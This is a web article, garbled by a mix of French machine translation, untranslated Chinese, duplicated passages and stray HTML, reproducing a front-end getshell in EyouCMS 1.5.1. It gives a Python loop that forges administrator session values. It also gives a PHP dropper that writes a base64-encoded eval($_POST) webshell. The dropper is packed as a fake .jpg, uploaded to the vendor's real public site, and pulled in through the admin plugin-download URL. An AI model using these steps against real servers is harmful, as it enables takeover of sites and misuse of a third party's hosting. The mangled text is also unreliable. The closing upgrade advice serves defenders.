Maison >Opération et maintenance >Sécurité >Comment reproduire la vulnérabilité getshell frontale d'EyouCMS V1.5.1
Zanzan Network Technology EyouCMS (EyouCMS) est membre de China Zanzan Network Technology Company, une société open source système de gestion de contenu (CMS) basé sur ThinkPHP.
Eyoucms v1.5.1 et les versions précédentes présentent des vulnérabilités de connexion utilisateur en arrière-plan et d'inclusion de fichiers. Cette vulnérabilité permet à un attaquant de définir la session d'un administrateur au premier plan en appelant l'API et le plug-in distant en arrière-plan. le fichier de téléchargement contient getshell.
EyouCMS <= 1.5.1
EyouCMS <= 1.5.1
下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
安装
通过phpstudy集成环境简单部署
前台设置管理员session在application/api/controller/Ajax.php:215
get_token
函数是可以前台随意调用的,另外形参中的
$name
变量也是通过http传递进来的。跟进token函数,如下图所示。
高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54
这里涉及到了两个session,一个admin_login_expire,一个admin_id
if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)
admin_login_expire
(该session会做减法的校验,需要满足一定条件)
admin_id
(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个
check_priv
函数,跟进查看:
if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p># 🎜🎜#0x02 Configuration de l'environnement<p><br><br>Téléchargement<img src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">Version de téléchargement du site officiel V1.5.1</p>Lien de téléchargement : https://qiniu.eyoucms.com/EyouCMS-V1 . 5.1-UTF8-SP3_142.zip<p><img src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">Installation</p>Déploiement simple via l'environnement intégré phpstudy<p><img src="https://img.php.cn/upload/article/%20000%20/000/164/168458488237526.jpg" alt="Comment reproduire la vulnérabilité getshell frontale d'EyouCMS V1.5.1"><br><br><br>0x03 Analyse de vulnérabilité<img src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">#🎜 🎜## 🎜🎜#Définissez la session administrateur à la réception sur application/api/controller/Ajax.php:215</p> <p><img src="https://img.php.cn/upload%20/article/000/000%20/164/168458488279346.jpg" alt="Comment reproduire la vulnérabilité getshell frontale d'EyouCMS V1.5.1"></p> <h3> <code>get_token</code>#🎜 🎜#<strong>La fonction est Elle peut être appelée à volonté par la réception De plus, la variable </strong> </h3> <code>$name</code><p><br>. dans le paramètre formel est également transmis via http. Suivez la fonction du jeton, comme indiqué dans la figure ci-dessous. <br><img src="https://img.php.cn/upload/article/000/000/164/168458488210919.jpg" alt="Comment reproduire la vulnérabilité getshell frontale d'EyouCMS V1.5.1"> <br><img src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">Il existe une opération pour mettre la session en surbrillance. Le nom est contrôlable et la valeur est la valeur de l'horodatage de la requête md5. Incontrôlable. </p>Vous pouvez essayer de créer une session pour l'administrateur en arrière-plan via cette opération de configuration de session. Ensuite, nous trions la logique de connexion de l'administrateur en arrière-plan. Dans application/admin/controller/Base.php:54<img src="https://img.php.cn/upload/article/000/000/164/168458488287383.jpg" alt="Comment procéder avec EyouCMS V1 .5.1 Récurrence de la vulnérabilité GetShell du frontend"><p><br>Cela implique deux sessions, une admin_login_expire et une admin_id<img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> <pre class="brush:php;toolbar:false">while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])
admin_login_expire
# 🎜 🎜# (Cette session effectuera une vérification de soustraction et doit remplir certaines conditions) admin_id
(Cette session est suffisante. La valeur ne sera pas vérifié)
Après avoir mis en place ces deux sessions, on continue d'en voir une autre dans le jugement de condition if
check_priv
# 🎜🎜#Function, suivi pour voir :
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
admin_info.role_id
(satisfaire inférieur ou égal à 0) Configuration Après trois sessions, vous pouvez accéder à l'arrière-plan, comme indiqué sur l'image :
session:
再经过application/admin/controller/Base.php:58和:106的intval()的转换:
成功使用该PHPSESSID进入后台:
后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:
weappp\weapp\test\config.php
config.php
文件内容为写入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
压缩成weappp.zip,修改后缀为jpg
到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此时webshell已成功写入:
访问webshell:
升级EyouCMS至V1.5.2或以后版本。
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!